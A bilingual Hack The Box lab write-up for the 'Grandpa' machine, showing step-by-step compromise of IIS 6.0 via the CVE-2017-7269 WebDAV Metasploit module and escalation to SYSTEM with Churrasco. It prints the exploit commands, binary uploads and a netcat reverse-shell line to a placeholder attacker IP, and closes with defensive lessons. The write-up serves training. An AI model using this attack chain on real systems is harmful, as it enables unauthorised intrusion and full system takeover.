Grandpa
Executive summary — Grandpa is a «museum-piece» Easy Windows box: an IIS 6.0 (Windows Server 2003) with WebDAV vulnerable to CVE-2017-7269 gives RCE as
NETWORK SERVICE; and being an ancient Windows, we escalate toSYSTEMabusingSeImpersonatePrivilegewith Churrasco (MS09-012 Token Kidnapping). A WebDAV RCE → NETWORK SERVICE → SYSTEM path, with a detour through a restricted Meterpreter session and a writable staging folder.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.95.233 |
Attack map
[80] Microsoft IIS 6.0 (Windows Server 2003) · WebDAV
│ CVE-2017-7269 — ScStoragePathFromUrl overflow (WebDAV) → RCE via Metasploit
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE (limited Meterpreter — stdapi restricted)
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ writable C:\wmpub\ + nc.exe + churrasco.exe → MS09-012 Token Kidnapping
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconnaissance
nmap -sC -sV -Pn 10.129.95.233
80/tcp open http Microsoft IIS httpd 6.0
The clue: IIS 6.0 belongs to the Windows Server 2003/XP era — ancient by any standard. Its WebDAV service carries CVE-2017-7269, one of the most classic unauthenticated RCEs ever found in IIS, and a single open port 80 is the entire attack surface here.
Resumen ejecutivo — Grandpa es una Windows Easy «de museo»: un IIS 6.0 (Windows Server 2003) con WebDAV vulnerable a CVE-2017-7269 da RCE como
NETWORK SERVICE; y al ser un Windows tan antiguo, se escala aSYSTEMabusando deSeImpersonatePrivilegecon Churrasco (MS09-012 Token Kidnapping). Un recorrido WebDAV RCE → NETWORK SERVICE → SYSTEM, con una parada en una sesión Meterpreter restringida y una carpeta de trabajo con permisos de escritura.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.95.233 |
Mapa del ataque
[80] Microsoft IIS 6.0 (Windows Server 2003) · WebDAV
│ CVE-2017-7269 — desbordamiento en ScStoragePathFromUrl (WebDAV) → RCE via Metasploit
▼
[SHELL] NT AUTHORITY\NETWORK SERVICE (Meterpreter limitado — stdapi restringido)
│ whoami /priv → SeImpersonatePrivilege: Enabled
│ C:\wmpub\ con permiso de escritura + nc.exe + churrasco.exe → MS09-012 Token Kidnapping
▼
[SYSTEM] NT AUTHORITY\SYSTEM
1. Reconocimiento
nmap -sC -sV -Pn 10.129.95.233
80/tcp open http Microsoft IIS httpd 6.0
La pista: IIS 6.0 pertenece a la era de Windows Server 2003/XP — antiquísimo para cualquier estándar actual. Su servicio WebDAV arrastra CVE-2017-7269, una de las RCEs sin autenticación más clásicas jamás encontradas en IIS, y un único puerto 80 abierto es toda la superficie de ataque aquí.
2. Initial exploitation — CVE-2017-7269 (IIS 6.0 WebDAV RCE)
What CVE-2017-7269 is: a buffer overflow in the ScStoragePathFromUrl function of IIS 6.0's WebDAV service, triggered by an unauthenticated PROPFIND request with an overly long If: header. It was exploited in the wild years before being formally disclosed. Metasploit ships a ready module for it:
msfconsole
search ms09_020
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.95.233
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
(Meterpreter 1)(c:\windows\system32\inetsrv) >
Naming note: the module was located searching for
ms09_020(a different, older WebDAV bulletin from 2009), but the flaw it actually triggers is CVE-2017-7269 — the ScStoragePathFromUrl overflow, unrelated to that 2009 advisory. Easy mix-up given how much IIS 6/WebDAV history there is to search through.
3. A limited session — stdapi denied
The Meterpreter session comes up, but it isn't fully functional:
getuid
getsystem
Operation failed: Access is denied.
What this means: the session exists and we can run commands, but part of Meterpreter's stdapi extension is restricted in this process context —
getsystem's built-in techniques don't work here. That doesn't kill the session; it just means privilege escalation has to be done manually from a raw shell.
4. Enumerating the user and its privileges
Dropping to a native shell instead of relying on Meterpreter's restricted API:
shell
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
whoami /priv
SeImpersonatePrivilege Enabled
Why this matters:
SeImpersonatePrivilegelets a process impersonate the security token of another authenticated user or service. On these old Windows builds, service accounts likeNETWORK SERVICEroutinely hold it, and tools built around token kidnapping (the pre-Potato generation, of which Churrasco is the reference implementation) abuse exactly this to grab a SYSTEM token.
5. Staging a writable directory
Back in Meterpreter (exit from the shell), we need somewhere on disk to drop binaries:
exit
cd C:\
mkdir wmpub
Cannot create a file when that file already exists.
cd wmpub
(Meterpreter 1)(C:\wmpub) >
Why
wmpub: it already exists on Grandpa and is writable by the service account, which makes it a convenient staging folder for uploading the privilege-escalation binaries.
6. Preparing the privesc binaries on Kali
Two binaries are needed on the attacking box before uploading: a static nc.exe for the reverse shell, and churrasco.exe for the token-kidnapping exploit itself.
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
wget <url> -O churrasco.exe
Note:
churrasco.exeisn't insearchsploit's local mirror, so it has to be pulled down manually from wherever it's hosted — a reminder that not every classic tool lives in the default offline archives.
7. Uploading the binaries to the target
From the Meterpreter session inside C:\wmpub:
upload /home/hacksparrow1/nc.exe C:\wmpub\nc.exe
upload /home/hacksparrow1/churrasco.exe C:\wmpub\c.exe
ls
Churrasco is uploaded renamed as
c.exepurely for typing convenience on the target's command line.
8. Catching the SYSTEM shell — Churrasco (MS09-012 Token Kidnapping)
What MS09-012 (Token Kidnapping) is: a Windows privilege-escalation flaw where a process holding SeImpersonatePrivilege can duplicate the access token of a more privileged process (like a SYSTEM service) and use it to launch its own commands. Churrasco automates exactly that — it's the direct ancestor of today's Potato-family exploits (RottenPotato, JuicyPotato, PrintSpoofer), built for a time when NETWORK SERVICE/LOCAL SERVICE impersonation was the standard escalation trick on Windows Server 2003/2008.
Open a listener on Kali first:
nc -lvnp 4444
Then, back in the target's shell, fire Churrasco to spawn nc.exe with an impersonated SYSTEM token:
shell
C:\wmpub\c.exe -d "C:\wmpub\nc.exe -e cmd.exe <ATTACKER_IP> 4444"
The reverse connection lands on the Kali listener:
whoami
nt authority\system
SYSTEM confirmed.
9. Flags — quoting paths with spaces
Reading the flags the naive way fails, because Windows Server 2003 profile paths are full of spaces and cmd.exe stops parsing the path at the first one:
type C:\Documents and Settings\Harry\Desktop\user.txt
Fails silently/with an error —
cmd.exereadsC:\Documentsas the filename and treatsand,Settings\Harry\...as separate arguments. Wrapping the whole path in quotes fixes it:
type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | IIS 6.0 WebDAV | CVE-2017-7269 (ScStoragePathFromUrl overflow) | Unauthenticated RCE as NETWORK SERVICE |
| PrivEsc | Windows Server 2003 service account | MS09-012 Token Kidnapping (SeImpersonatePrivilege) via Churrasco | SYSTEM |
Lessons learned
- End-of-life software is guaranteed RCE: IIS 6.0 / Windows Server 2003 shouldn't be reachable from any modern network.
- WebDAV is attack surface: disable it if unused, and check enabled methods with
http-methods/OPTIONS. SeImpersonatePrivilegeis a path straight to SYSTEM on service accounts — Churrasco on old Windows, Potato-family tools on modern ones. Strip it from service accounts that don't need it.- A restricted Meterpreter session isn't a dead end: drop to a raw shell, enumerate privileges, and escalate manually when the automated helpers get denied.
- Writable "public" folders (
wmpub-style) are staging grounds for attackers: audit write permissions on default OS directories, not just web roots. - Not every exploit lives in
searchsploit: classic tools like Churrasco often have to be located and fetched manually. - Windows path quoting matters: any path with spaces needs quotes in
cmd.exe, or the command silently misparses it.
2. Explotación inicial — CVE-2017-7269 (RCE en WebDAV de IIS 6.0)
Qué es CVE-2017-7269: un buffer overflow en la función ScStoragePathFromUrl del servicio WebDAV de IIS 6.0, disparado con una petición PROPFIND sin autenticar y una cabecera If: excesivamente larga. Se explotó en la vida real años antes de ser divulgada formalmente. Metasploit trae un módulo listo para usar:
msfconsole
search ms09_020
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.95.233
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
(Meterpreter 1)(c:\windows\system32\inetsrv) >
Nota sobre el nombre: el módulo se localizó buscando
ms09_020(un boletin de WebDAV distinto y más antiguo, de 2009), pero el fallo que realmente dispara es CVE-2017-7269 — el desbordamiento en ScStoragePathFromUrl, sin relación con aquel aviso de 2009. Una confusión fácil dada toda la historia de IIS 6/WebDAV que hay que rastrear.
3. Una sesión limitada — stdapi denegado
La sesión Meterpreter se levanta, pero no funciona del todo:
getuid
getsystem
Operation failed: Access is denied.
Qué significa esto: la sesión existe y podemos ejecutar comandos, pero parte de la extensión stdapi de Meterpreter está restringida en este contexto de proceso — las técnicas integradas de
getsystemno funcionan aquí. Eso no mata la sesión; solo significa que la escalada de privilegios hay que hacerla a mano desde una shell nativa.
4. Enumerando el usuario y sus privilegios
Bajamos a una shell nativa en lugar de depender de la API restringida de Meterpreter:
shell
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
whoami /priv
SeImpersonatePrivilege Enabled
Por qué importa:
SeImpersonatePrivilegepermite a un proceso suplantar el token de seguridad de otro usuario o servicio autenticado. En estos Windows antiguos, cuentas de servicio comoNETWORK SERVICEsuelen tenerlo habilitado, y las herramientas de token kidnapping (la generación previa a los Potato, de la que Churrasco es la implementación de referencia) abusan exactamente de esto para hacerse con un token de SYSTEM.
5. Preparando un directorio con permiso de escritura
De vuelta en Meterpreter (exit desde la shell), necesitamos un sitio en disco donde dejar los binarios:
exit
cd C:\
mkdir wmpub
Cannot create a file when that file already exists.
cd wmpub
(Meterpreter 1)(C:\wmpub) >
Por qué
wmpub: ya existe en Grandpa y la cuenta de servicio tiene permiso de escritura sobre ella, lo que la convierte en una carpeta cómoda para subir los binarios de escalada de privilegios.
6. Preparando los binarios de privesc en Kali
Hacen falta dos binarios en la máquina atacante antes de subirlos: un nc.exe estático para la reverse shell, y churrasco.exe para el propio exploit de token kidnapping.
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
wget <url> -O churrasco.exe
Nota:
churrasco.exeno está en el espejo local desearchsploit, así que hay que descargarlo a mano de donde esté alojado — un recordatorio de que no todas las herramientas clásicas viven en los archivos offline por defecto.
7. Subiendo los binarios a la víctima
Desde la sesión Meterpreter, dentro de C:\wmpub:
upload /home/hacksparrow1/nc.exe C:\wmpub\nc.exe
upload /home/hacksparrow1/churrasco.exe C:\wmpub\c.exe
ls
Churrasco se sube renombrado como
c.exe, simplemente por comodidad al escribirlo en la línea de comandos de la víctima.
8. Cazando la shell de SYSTEM — Churrasco (MS09-012 Token Kidnapping)
Qué es MS09-012 (Token Kidnapping): un fallo de escalada de privilegios en Windows donde un proceso con SeImpersonatePrivilege puede duplicar el token de acceso de un proceso más privilegiado (como un servicio SYSTEM) y usarlo para lanzar sus propios comandos. Churrasco automatiza exactamente eso — es el antecesor directo de los exploits de la familia Potato actuales (RottenPotato, JuicyPotato, PrintSpoofer), construido para una época en la que suplantar NETWORK SERVICE/LOCAL SERVICE era el truco estándar de escalada en Windows Server 2003/2008.
Primero abrimos un listener en Kali:
nc -lvnp 4444
Luego, de vuelta en la shell de la víctima, lanzamos Churrasco para que ejecute nc.exe con un token de SYSTEM suplantado:
shell
C:\wmpub\c.exe -d "C:\wmpub\nc.exe -e cmd.exe <ATTACKER_IP> 4444"
La conexión inversa llega al listener de Kali:
whoami
nt authority\system
SYSTEM confirmado.
9. Flags — entrecomillando rutas con espacios
Leer las flags de la forma ingenua falla, porque las rutas de perfil de Windows Server 2003 están llenas de espacios y cmd.exe deja de parsear la ruta en el primero que encuentra:
type C:\Documents and Settings\Harry\Desktop\user.txt
Falla —
cmd.exeinterpretaC:\Documentscomo el nombre de archivo y trataand,Settings\Harry\...como argumentos separados. Entrecomillar toda la ruta lo soluciona:
type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | IIS 6.0 WebDAV | CVE-2017-7269 (desbordamiento en ScStoragePathFromUrl) | RCE sin autenticación como NETWORK SERVICE |
| PrivEsc | Cuenta de servicio en Windows Server 2003 | MS09-012 Token Kidnapping (SeImpersonatePrivilege) via Churrasco | SYSTEM |
Lecciones aprendidas
- El software fin de vida es RCE garantizada: IIS 6.0 / Windows Server 2003 no deberían ser alcanzables desde ninguna red moderna.
- WebDAV es superficie de ataque: desactivarlo si no se usa, y comprobar los métodos habilitados con
http-methods/OPTIONS. SeImpersonatePrivilegees un camino directo a SYSTEM en cuentas de servicio — Churrasco en Windows antiguos, la familia Potato en los modernos. Retira ese privilegio de las cuentas de servicio que no lo necesiten.- Una sesión Meterpreter restringida no es un callejón sin salida: baja a una shell nativa, enumera privilegios y escala a mano cuando los helpers automáticos son denegados.
- Las carpetas «públicas» con permiso de escritura (tipo
wmpub) son terreno de aterrizaje para atacantes: audita permisos de escritura en directorios por defecto del sistema, no solo en la raíz web. - No todos los exploits viven en
searchsploit: herramientas clásicas como Churrasco a menudo hay que localizarlas y descargarlas a mano. - El entrecomillado de rutas en Windows importa: cualquier ruta con espacios necesita comillas en
cmd.exe, o el comando la parsea mal en silencio.